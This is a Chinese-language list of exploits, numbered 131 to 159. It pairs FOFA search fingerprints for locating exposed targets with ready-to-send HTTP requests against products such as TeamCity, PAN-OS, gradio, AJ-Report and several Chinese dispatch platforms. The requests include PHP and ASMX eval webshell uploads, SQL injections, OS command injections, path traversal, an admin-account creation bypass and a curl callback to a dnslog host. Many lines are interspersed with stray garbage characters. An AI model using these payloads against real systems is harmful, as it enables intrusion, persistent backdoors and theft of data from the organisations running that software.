POST /admin/users/upavatar.html HTTP/1.1
7 K( Y* g3 {; `5 L) AHost: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
/ r& K# h. _* v0 ~# Z! {X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
2 b, o- u$ x8 _. ~Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
! F8 u" z4 i) [2 ?Cookie: user_name=1; user_id=3
0 ?, D! @* p3 ~# X5 [7 d0 V; L) JConnection: close

------WebKitFormBoundary3OCVBiwBVsNuB2kR
7 I" Q# x3 I2 v7 |" G7 O$ OContent-Disposition: form-data; name="file"; filename="1.php"
! y6 b  r% P9 V4 uContent-Type: image/png
1 [, r2 J/ m8 _
6 w# m2 f3 R& C: v6 P<?php phpinfo();@eval($_POST['sec']);?>
% d( w8 x. a; A9 M: n, h- p------WebKitFormBoundary3OCVBiwBVsNuB2kR--
* {# C% @7 p9 D

' b1 ~' b* X" E131. Mini-Tmall <=20231017 SQL注入
/ f4 _$ V0 t5 V4 j) e* L! Y! bFOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
! P1 C; e7 I# G( l* r2 Q5 p; j4 H
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
, E7 I8 S2 w$ R3 O% F" `CVE-2024-27198
+ h7 q8 @$ R7 o0 G( n3 G/ AFOFA：body="Log in to TeamCity"
, {* u: H' ?" K( A% x! V- aPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
; E1 z  W! p: R; U: qHost: 192.168.40.130:8111
: k% S7 q# M3 v3 fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
: }' k, Q3 b. |5 @* N* ?Content-Type: application/json
" R6 u0 `0 v# JAccept-Encoding: gzip, deflate

+ x- u+ G- f8 l) N0 ?{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}

6 n$ f: @* B0 _. Z
CVE-2024-27199
/res/../admin/diagnostic.jsp
. u9 f6 n: c# n4 s$ W' I/.well-known/acme-challenge/../../admin/diagnostic.jsp
' [0 a4 R" X# |$ t5 P; ^/ j/update/../admin/diagnostic.jsp

: l8 [, H& `, J+ ^& Y/ P" p' v
5 M8 E# g) ]5 |8 D. \CVE-2024-27198-RCE.py
  k6 y: q, z% [  U# p3 }# g1 f4 o
133. H5 云商城 file.php 文件上传
# |' d& u( n0 LFOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
2 y0 l! J2 b6 g! M- h" d( O! O% IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
/ W+ `" g( N/ [' GContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
7 g, m6 T& Z' vContent-Type: application/octet-stream

6 ^. R4 d/ L3 o' C& }<?php system("cat /etc/passwd");unlink(__FILE__);?>
+ D, z# N- c  k3 w% f------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
) N. H9 g- `  W/ c


134. 网康NS-ASG应用安全网关index.php sql注入
2 m* z& b9 |  ~% ~CVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
0 P0 g/ j( K$ b- T/ `5 p! u3 AFOFA：app="网康科技-NS-ASG安全网关"
+ K1 V7 c. H  n8 PPOST /protocol/index.php HTTP/1.1
7 R$ ~; |1 N4 e) PHost: x.x.x.x
1 |* N6 V5 l: X0 Y1 `# l# HCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
$ s" V% D4 }6 {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' e8 `$ _; l8 ~5 i, b& NAccept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
/ ~; z* R$ g" X( G& t1 HSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
& c# T) w- r5 w& y7 G0 N' H% _' nTe: trailers
% Z( X9 O# X: h+ L- u! G( xConnection: close
6 z  F+ P! c" s3 k0 N, A: hContent-Type: application/x-www-form-urlencoded
Content-Length: 263

7 d* f- m7 f1 D. Zjsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}


  S1 ^* K& C; s135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
& H) s5 `! n' i) WNetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
5 z( x+ C; ?; }4 qHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
7 \+ \5 `; m3 Q1 {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ w2 l% c- o, w" SAccept-Encoding: gzip, deflate
0 s" h6 T* b3 X  s+ F! w4 tAccept-Language: zh-CN,zh;q=0.9
Connection: close

- G* `) m& @5 ~& u" z7 M
0 q0 t8 T3 e+ |4 ]* @* h: q: c; _136. NextChat cors SSRF
1 m0 X; w2 O+ s- E- OCVE-2023-49785
FOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
- M5 U3 u6 B% D( R& p% ZHost: x.x.x.x:10000
$ X$ B8 i, N# ~( A# c3 v& y) a8 b. h$ ZUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
# r7 |$ e' J6 K. @, NConnection: close
Accept: */*
Accept-Language: en
! F% Z4 P0 n2 j. fAccept-Encoding: gzip
$ o1 u' y3 [& B2 Z4 I2 q) Q; q& i9 `

# J( z$ ?% h% ?' Q/ O8 {9 L137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
4 W& P: n1 C' u: n! d: HFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
% J  u- [$ b3 _: P* G# nHost: x.x.x.x
1 v$ G8 l' A  V$ U8 O6 k& A+ CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
" c5 A0 A- h3 u" v# r, IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& C* @3 l4 V9 k" \; Y+ pAccept-Encoding: gzip, deflate, br
Connection: close
2 J0 M8 f# e) q) TCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
3 r1 I) T" x, J* l- M% SUpgrade-Insecure-Requests: 1

/ m: X4 @3 @% `. X! g. U1 G
! i( N$ K7 x7 p: r+ u- r7 I138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
) j5 ?8 I! t8 _# G- n) MCVE-2024-2621
' k9 O8 U& s! s  TFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
9 D0 F! ^7 V. S; w% P9 a, RGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
1 W1 z0 P& e! c' [Host: x.x.x.x
- X2 t$ j4 I) P! w. A9 jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
) M2 E1 c" @5 @7 f- s  dConnection: close
: `7 R% q* ?# \4 q9 v9 ~% @Upgrade-Insecure-Requests: 1
) P: {2 E/ q" t) r% E2 y
6 J, Q& E+ k+ Z$ G
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
! _0 d! A" M* V8 Z7 UGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
7 z" k1 e' e# wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ f; g% c5 w3 }( J# MAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
' }% D  c1 _3 f# w" xUpgrade-Insecure-Requests: 1
5 W& D* k. c, }/ X- K
& V6 {! Y1 U6 z$ Y
3 U3 I" S  y& A4 `2 X" D) _' `140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
3 C; D- x; G* ^2 l. {CVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% L2 E+ J% p( B& R( KAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
' G+ \' n. ]" _* s& C: J$ {3 e7 L& OConnection: close
Cookie: authcode=h8g9
! |" m; H5 Y" g# o+ D- ^5 t, |Upgrade-Insecure-Requests: 1
* p1 `( F; I2 f. z* g

141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
/ n  {" U* s9 AHost: your-ip
' |0 C9 v' i% D3 e( T- T* AUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
6 B( A- A! ~1 u" Z" XContent-Type: application/x-www-form-urlencoded

# g2 {, l# c# ^. U# D
dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -

8 X- T" {* ?: G1 f
4 {: q3 [9 O) T) O142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
; E$ g: m- R0 Z& C1 _8 ^- w. [5 sFOFA：body="/808gps/"
admin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
FOFA：title='AP setup' && header='netis'
PAYLOAD

144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
! `* w  ^" K+ M# \User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
- A5 M, `/ p! P6 XAccept: */*
Accept-Language: en
Accept-Encoding: gzip

; a) H( V: t- r: O. ~9 w2 _, ^
- i$ f9 B# I5 C145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
5 R: l8 G4 Q1 W# G. eCVE-2024-3400
FOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
9 O5 u* k" t5 ~) w0 g, v7 @: E" S; q9 kHost: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
) f9 v4 Y( A7 z& a* RAccept-Encoding: gzip
1 T# h3 X1 l/ M( E

* Q$ w, q/ k; V) {146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
FOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
9 N% @- A# j# z, W: x, E0 K2 VConnection: close

- F1 T2 `# o7 d% H# S8 _4 L% a
& I: I1 m* q$ z, U# |147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
; a' d6 ], q$ ?% m% l% A3 T# HCVE-2024-32399
FOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
  j" g; v# ]3 L; ~' X, [Host: 127.0.0.1:81
8 @$ ~1 e( S. P9 o5 q# H* z1 z# dCache-Control: max-age=0
Connection: close

: `+ s% t8 Y1 C8 G! `7 G4 m5 H
3 t; B0 \# S( p. S6 W148. CrushFTP 认证绕过模板注入
CVE-2024-4040
% ]# O) n: y  Y+ y4 k7 HFOFA：body="CrushFTP"
7 w  \( y. N8 ^( JPAYLOAD

4 z9 s2 X7 s( I* ?3 Z149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
1 c7 Z% L0 B9 e1 Y  z7 P2 vHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
0 h& c5 b$ S# {: \/ `; OAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close

* d) b8 R& O* n% p! N' r{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

150. AJ-Report 1.4.0 认证绕过与远程代码执行
; @7 K; u" e3 p, O3 F2 ~FOFA：title="AJ-Report"
8 G0 e7 {# a# e$ \, O4 d& {POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
$ k( @/ e# ?5 KHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. y' n3 C3 c) I9 m* C' y: z; [# o0 _Accept-Encoding: gzip, deflate, br
+ N7 r5 H2 h$ R. R7 v3 VAccept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
4 X  x/ {2 I$ n# X7 f9 pConnection: close
Content-Length: 339
- J% J, b5 R$ z2 x3 d9 d: @
% _5 o) {. q: R1 m/ ]! C{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

7 g9 s) I: o0 K" r4 }) \. b
151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
- G" Y0 y0 F0 c0 w# P% U# W: cGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
# \! C' r) X# H1 zHost: x.x.x.x
  ?7 t3 {0 R  Q7 z5 }2 [9 |6 l8 t/ Q( cUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
' d6 Q4 D- b( |8 d
- n1 M7 ?( t! d+ G2 y
152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
' a& v. i& q3 {" s5 y+ CLoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
  l5 f" ^8 c" H  z* }1 u# C, t& DGET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
- K% g& |0 k; GAccept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip


# V7 m1 c# k) `5 |7 w$ S0 p3 W153. gradio任意文件读取
  ]/ C' E  q' o/ m1 e3 GCVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
$ I! M) |- F( u; @+ U$ P2 J6 bhttp://x.x.x.x/config
3 s2 j3 q' v* t& I' x( Q. D2 o
6 O3 q0 Y4 Q* [' y5 u* K
第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
Host: x.x.x.x
" W+ `8 ]& B1 R9 QUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
Content-Length: 115
- ?5 c1 I& L3 K# EContent-Type: application/json
Accept-Encoding: gzip
7 @$ a: C% Y! H6 J
{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}


' T2 f6 N) h( R1 ~  j第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
5 m' q" ]3 d# j
  @; `: p/ ^& z
154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
( w% {- K, @9 Z" [$ v8 C0 }6 w5 tHost: x.x.x.x
3 r" V! r2 M. O$ n# qContent-Length: 106
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
5 d6 Q" j! c) H3 k" fOrigin: http://x.x.x.x
Content-Type: application/json
& F" Y( a9 d+ ]# t9 {/ bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
6 o1 }, q. S. o/ e/ rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
9 ?  O+ x* t( L' gAccept-Encoding: gzip, deflate
) c9 m* q8 ~& n1 O& D+ BAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
; L" w# z' ?( W) R8 o
{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
0 r3 [7 Y1 T( i3 y1 R/ _

155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
4 [1 a2 z( y' U" k0 g; aFOFA：title=="上网导航 - LyLme Spage"
7 f; @9 K6 i2 H2 z2 DPOST /include/file.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
) Y- b0 T* O; G3 MConnection: close
Content-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
7 c* G! Y: k  K' G  l' v7 |- V! cAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. d- ?4 ?7 J- `0 e2 N4 Z8 n5 mContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest

-----------------------------qttl7vemrsold314zg0f
0 z6 ~6 }+ f" b- l% AContent-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

) G+ ^% h+ b6 U, b, z; W6 p<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--

( ~( @* C1 ?4 E& ^3 L/ c
& H- e  P  P! u9 W3 o5 F访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

: r& I! m  N+ k156. TBK DVR-4104/DVR-4216 操作系统命令注入
8 Y8 `! t3 f% r2 Y4 K0 P4 ECVE-2024-3721
FOFA："Location: /login.rsp"
·TBK DVR-4104
·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"

; N2 w! t  X/ ?
POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
: @4 j  E# l6 e  P2 k! f) yContent-Length: 0
6 J+ v: V; ]( }* w, {Cookie: uid=1
9 Q5 T5 ^- t8 Y9 ]. GAccept-Encoding: gzip


2 X, c6 f0 i/ i4 H157. 美特CRM upload.jsp 任意文件上传
6 s$ X  t! Q4 NCNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
7 G3 a4 u& j0 M# hPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
$ n4 [% `/ e/ G: z" c7 G8 v; rHost: x.x.x.x
) Q& B8 ~# F. Q9 W4 S! X, ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
' o3 h4 a" L, b/ d. @Content-Length: 709
# d5 `  f1 d$ `  m( l( H5 \  vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
# k, w* e! t4 H  A  m  w* C& QAccept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
7 U* `; Z& l* V9 C6 PConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1

------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
$ `  j+ ]- I. ~( ]: U0 O0 K6 OContent-Type: application/octet-stream
/ x+ w& X1 R, s+ ]6 K5 q
nyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"

null
------WebKitFormBoundary1imovELzPsfzp5dN
4 s# d- T/ t1 C6 T) zContent-Disposition: form-data; name="form"

null
# P& [# p% M, D) }" o------WebKitFormBoundary1imovELzPsfzp5dN
) O# L& O% e0 |- m5 M# UContent-Disposition: form-data; name="field"

null
0 g7 X+ p1 O! I  f. [/ k) d------WebKitFormBoundary1imovELzPsfzp5dN
) e: }; p0 N& |6 d- MContent-Disposition: form-data; name="filetitile"

null
8 }! i. d: M/ F: n5 v+ g+ a/ V; R------WebKitFormBoundary1imovELzPsfzp5dN
$ C6 v' X/ c4 V) ~Content-Disposition: form-data; name="filefolder"
3 T9 z4 L2 ~4 o' t* p0 ]& i9 l' I
null
------WebKitFormBoundary1imovELzPsfzp5dN--


% ~  e) P4 Q" L+ b# `9 Lhttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
. ]# N& E" e: Q1 i7 x
158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
FOFA："Generator: Masa CMS"
. f( ?+ y: C7 }8 cPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
1 h5 w; V0 d& d! N; k6 EHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

object=displayregion&contenthistid=x\'&previewid=1
) C& c" b! M# k. N% l3 F! y% L5 k

% r8 w( C8 \1 C2 b; f159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
* o9 Z/ C0 p+ e  I" ], r: mHost: x.x.x.x
. K) |4 `( C. k$ l$ j% |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
1 k- c/ ?; k" q2 \! T5 ZContent-Length: 1080
# s* @7 y. Y8 j9 B1 B; p2 ?% \Accept-Encoding: gzip, deflate
( p4 e3 A& F6 ZConnection: close
6 f, d' C+ e0 v0 u2 gContent-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"

  q2 S) ?; ^: `4 v<?xml version="1.0" encoding="utf-8"?>
9 [$ p7 W# O! X<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
* d! P) S# p; h% x0 \<soap:Body>
6 _* {. @- s9 ~1 z, }1 n1 @7 [7 ~<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
<subFolder></subFolder>
8 p# |7 J2 {, ~% {<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
</soap:Body>
8 D' O% H+ V: ]; O3 c# Q, ~! f/ ]</soap:Envelope>

8 Z7 B( Q/ n) x& x) f+ R6 |' k6 K( j
